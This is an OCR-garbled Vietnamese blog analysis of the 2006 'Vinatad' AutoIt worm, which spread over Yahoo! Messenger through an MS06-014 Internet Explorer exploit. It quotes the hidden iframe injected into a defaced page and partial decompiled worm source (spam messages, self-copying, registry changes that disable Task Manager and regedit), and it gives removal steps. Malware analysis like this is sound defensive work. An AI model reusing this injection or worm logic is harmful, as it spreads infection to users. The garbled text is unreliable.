"CHIEN DAU" VOI VINATAD

Ty hém qua (16-11) dén gid,

T hém qua (16-11) dén gio, du da canh gide truéc "dai dich" virus lay qua YIM nhung khéng it
ngudi dinh phdi virus tam goi l& Vinatad! TTO xin gi&i thiéu mét bai viét vé virus méi nay i Blog
Bdo Mét Théng Tin nhu mét tham khéo cho quy déc gid.

Nguyén ngay hém qua (va cé thé cd ngay hém nay) t6i chdng lam duoc gi khéc ngodi viéc ngdi
hé tro gidi quyét sy c& trén hé théng database & co quan. Vé dén nha loc da gan 11h dém, mét
qua qud dinh l&n ra ngd thi chot nhé | hém nay déi Olympic VN ¢6 dé véi déi ndo dé nén 16i lai
mo lén mang xem tin téc vé trén déu dé. Vira dinh offline di ngd thi bt chot nhén duoc mét msg
trén Yahoo! Messenger:

thuong ghe”,vinatad bi hack anh em ui,hic :(http:/ /www.vinatad...../index.html

Vén chédng ham thich gi mdy cdi vy kiéu nhu thé nay nhung déay la lén thi 4 trong ngay t6i nhdn
duoc 4 msg khdc nhau cung théng bdo vé vy tén céng nay. Td md 16i click thy vao dudng link thi
né hién ra mét msg nhu thé nay:

website duoc bao mat boi BKAV - That site has seccurity by BKAV
hacked by bkgenetic_g11

Cha, cdi trang index.html nay khéng don gidn chi ¢6 hai dong ch dé vi NoScript bdo cho t6i biét

cé mdt doan mad script vira bi chdn lai. To mo, i lién xem ma nguén cda né thi thdy nhu sau:

hacked by bkgenetic_g11

[title]website duoc bao mat boi BKAV - That site has seccurity by BKAV[ /title]

[iframe name="quag" fraomeSpacing="0"
src="http://www.free...s.com/iamblackhat/google.htm|" frameBorder="0" noResize width="0"
height="0" target="_self"]

C6 mét cdi iframe an trd t6i dia chi http://www.free...s.com/iamblackhat/google.html. M@ nguén
cba anh chang google.html. Ngoai trir file i.js la cda dich vu Freewebs dung dé chén banner
quding cdo, toan bd doan script trén khd thd vi. Luét qua thi cé thé thdy muyc dich cda doan script
nay la download va chay hai file http://www.vinatad.../game.exe va
http://www.vinatad.../zend.exe. D& lam diéu dé, téc gid khai théc 16 héng MS06-14:



Vulnerability in the Microsoft Data Access Components (MDAC) Function Could Allow Code
Execution (211562)

A remote code execution vulnerability exists in the RDS.Dataspace ActiveX control that is provided
as part of the ActiveX Data Objects (ADO) and that is distributed in MDAC. An attacker who
successfully exploited this vulnerability could take complete control of an affected system.

L5 hdng ndy dugc Microsoft vé vao thang 04-2006 tuy nhién né van dugc st dung rdit nhiéu trong
céc browser-based exploit bdi vi né rdt dé khai thac var ¢é higu qué khé cao vi cing con tuong ddi
méi. Tho vi hon, tac gid da tan dung cong nghé AJAX thong qua object Microsoft XMLHTTP d& am

thédm download virus vé mdy cba nan nhén.

Nghe virus made-in-VN thi chéc hdn ban cling da dodn ra né s dyng Autolt dé phdt tan trén
Yahoo! Messenger nhu rét nhiéu con da xuét hién hang loat trong thai gian vira qua. Diém khéc
biét cia con virus ndy la né khai thdc mét 16 hdng trong Internet Explorer, réi théng qua AJAX dé
ty dong cai dat mdt cach ém dém. Néu nhu ban chua cdp nhét Internet Explorer cda minh thi chi
cén click véo duong link gui trén Yahoo! Messenger la ngay lé&p t&c méy tinh cda ban s& bi lay
nhiém.

T6i nhanh chéng download hai file http://www.vinatad.../zend.exe va
http://www.vinatad.../game.exe. K&t qud quét bang VirusTotal nhu sau:

Antivirus Version Update Result

AntiVir 7.2.0.39 11.16.2006 no virus found
Authentium 4.93.8 11.16.2006 no virus found

Avast 4.7.892.0 11.15.2006 no virus found

AVG 386 11.15.2006 no virus found

BitDefender 7.2 11.16.2006 no virus found
CAT-QuickHeal 8.00 11.15.2006 TrojanDownloader.Agent.axn
ClamAYV devel-20060426 11.16.2006 no virus found
DrWeb 4.33 11.16.2006 no virus found
eTrust-InoculatelT 23.73.57 11.16.2006 no virus found
eTrust-Vet 30.3.3195 11.16.2006 no virus found
Ewido 4.0 11.15.2006 no virus found

Fortinet 2.82.0.0 11.16.2006 no virus found

F-Prot 3.16f 11.16.2006 no virus found

F-Prot4 4.2.1.29 11.16.2006 no virus found

lkarus 0.2.65.0 11.15.2006 no virus found
Kaspersky 4.0.2.24 11.16.2006 no virus found
McAfee 4896 11.15.2006 no virus found

Microsoft 1.1609 11.16.2006 no virus found
NOD32v2 1868 11.15.2006 no virus found

Norman 5.80.02 11.15.2006 no virus found



Panda 9.0.0.4 11.15.2006 no virus found

Prevx1 V2 11.16.2006 no virus found

Sophos 4.11.0 11.15.2006 no virus found

TheHacker 6.0.1.119 11.15.2006 Trojan/Downloader.Autolt.e
UNA 1.83 11.15.2006 Backdoor.Agent.9

VBA32 3.11.1 11.15.2006 no virus found

VirusBuster 4.3.15:9 11.15.2006 no virus found

Chi c6 ba phan mém chéng virus nhédn dang duoc game.exe va zend.exe. Phan tich so luoc bdng
strings cho thdy cd hai file déu s dung Autolt engine va duoc pack bang UPX. Téi unpack réi load
ching lén chiéc mdy do VMWare chay Windows XP Service Pack 2. Kha dé dé dich nguoc mé
ngudn Autolt cda cd hai con ndy bdi vi ching khéng su dung bét ki phvong phdép béo vé nao ca.
Chi cén st dung chuong trinh Exe2AU cé sén cba Autolt & t6i da c6 md nguén cla ching trong
tay:

; AUT2EXE VERSION: 3.2.0.1

; AUT2EXE INCLUDE-START: E:\hoc

; Phan Mem: DKC Bot

; Phien Ban: 1.1

; Cong Dung: Quang cao Website thong qua YIM
; Hoan Thanh: 1-9-2006

Cdm gidc ban dau la hai con Autolt ndry ¢é chie ndng don gidn hon nhirng con Autolt khéc ma i
da gap trudc déy. M@ nguén cia zend.exe thém chi chi ¢6 3 dong:

while(99999999)
ping ( "localhost" , 1)
WEnd

Ma& ngudn cda game.exe thikhd "cs dién", chia lam cdc thanh phdn nhu:
g g P

; Thiet Lap

#NoTraylcon

$trinhduyet = "hacked by bkgenetic_g11"
$ngaunhien = Random(0,9,1)

; Website Ngau Nhien

Dim $web[10]

$website = "http://www.vinatad.../index.html"
$include = "http://www.vinatad.../hotline.html"



; Tin Nhan Ngau Nhien

Dim $tin[10]

$in[0] = "that site hacked by bkgenetic_g11 qua dinh,phuc that,hic" & $website
$tin[1] = "thuong ghe” vinatad bi hack anh em ui,hic :(" & $website

$tin[2] = "Po tay voi sinh vien thoi nay,hic :(" & $website

$tin[3] = "Den chiu,ca vinatad con bi hack,VNiss lam ma 222:))" & $website
$tin[4] = "bun ghe,bi hack ruir" & $website

$tin[5] = "that site hacked by bkgenetic_g11 qua dinh,phuc that, hic)" & $website
$tin[6] = "Den chiu ko con gi de noi :))))" & $website

$tin[7] = "thuong ghe” vinatad bi hack anh em ui,hi :))" & $website

$tin[8] = "en chiu,ca vinatad con bi hack,VNiss lam ma 22:(" & $website

$tin[9] = "en chiu,ca vinatad con bi hack,VNiss lam ma 22:(" & $website
$tinnhan = $tin[$ngaunhien]

; Lay Nhiem Vao He Thong

; Ghi Khoa Registry

; Thay Doi Status & Gui Tin Nhan

Khi &y nhiém vao hé théng, game.exe s& ty sao chép thanh file C:\Windows \taskmng.exe. R5i né
bét dau thay ddi mét s& thong tin trong Registry dé:

- Ty déng chay khi Windows khéi déng

- Sa déi homepage cia Internet Explorer

- V& higu héa céng cy regedit va Task Manager

- Stra déi dia chi Launchcast cia Yahoo! Messenger

Cugi cung, nhu thuong 18, né bét dau phdt tdn bdng céch gui tin nhédn hang loat qua Yahoo!
Messenger ciing nhu thay déi status msg cda nguoi bi nhiém.

Méc ddu con virus ndy khong mély nguy hiém nhung téc gid hodan todn cé thé thay the game.exe
hay zend.exe bdng nhiing phién ban khac manh mé hon, ¢6 thé viét bang Autolt hay chinh sta
md ngudn ¢6 sén cla céc logi virus va bot cé ddy trén Internet. Khi dé véi sy gitp sic cba Yahoo!
Messenger va nhitng 16 héng cda Internet Explorer, thém hoa | diéu hoan todn ¢6 thé xdy ra. Lam
th& ndio dé ty bdo vé& minh? Firefox + NoScript s& la mét gidi phép dung duoc.

Cdch "xéa 58" Vinatad khdi méy cia ban



1. Close yahoo messenger /IE
2. Delete C:\WINDOWS\taskmng.exe
3. Fix regitry

HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\
"Homepage" = ([REG_DWORD, value: 00000001])

HKEY_CURRENT_USER\Software\Microsoff\Windows\CurrentVersion\
Policies\System\ "DisableTaskMgr" = ([REG_DWORD, value: 00000001])

HKEY_CURRENT_USER\Software\Microsoff\Windows\CurrentVersion\
Policies\System\ "DisableRegistryTools" = ([REG_DWORD, value: 00000001])

HKEY_CURRENT_USER\Software \Microsoft\Internet Explorer\
Main\ "Start Page" = (http://www.vinatad.../index.html)

HKEY_CURRENT_USER\Software\Yahoo\pager\View\
YMSGR_buzz\ "content url" = (http://www.vinatad.../hotline.html)

HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGR_Launc

4. Khéi dong lai may
Theo Pastepin



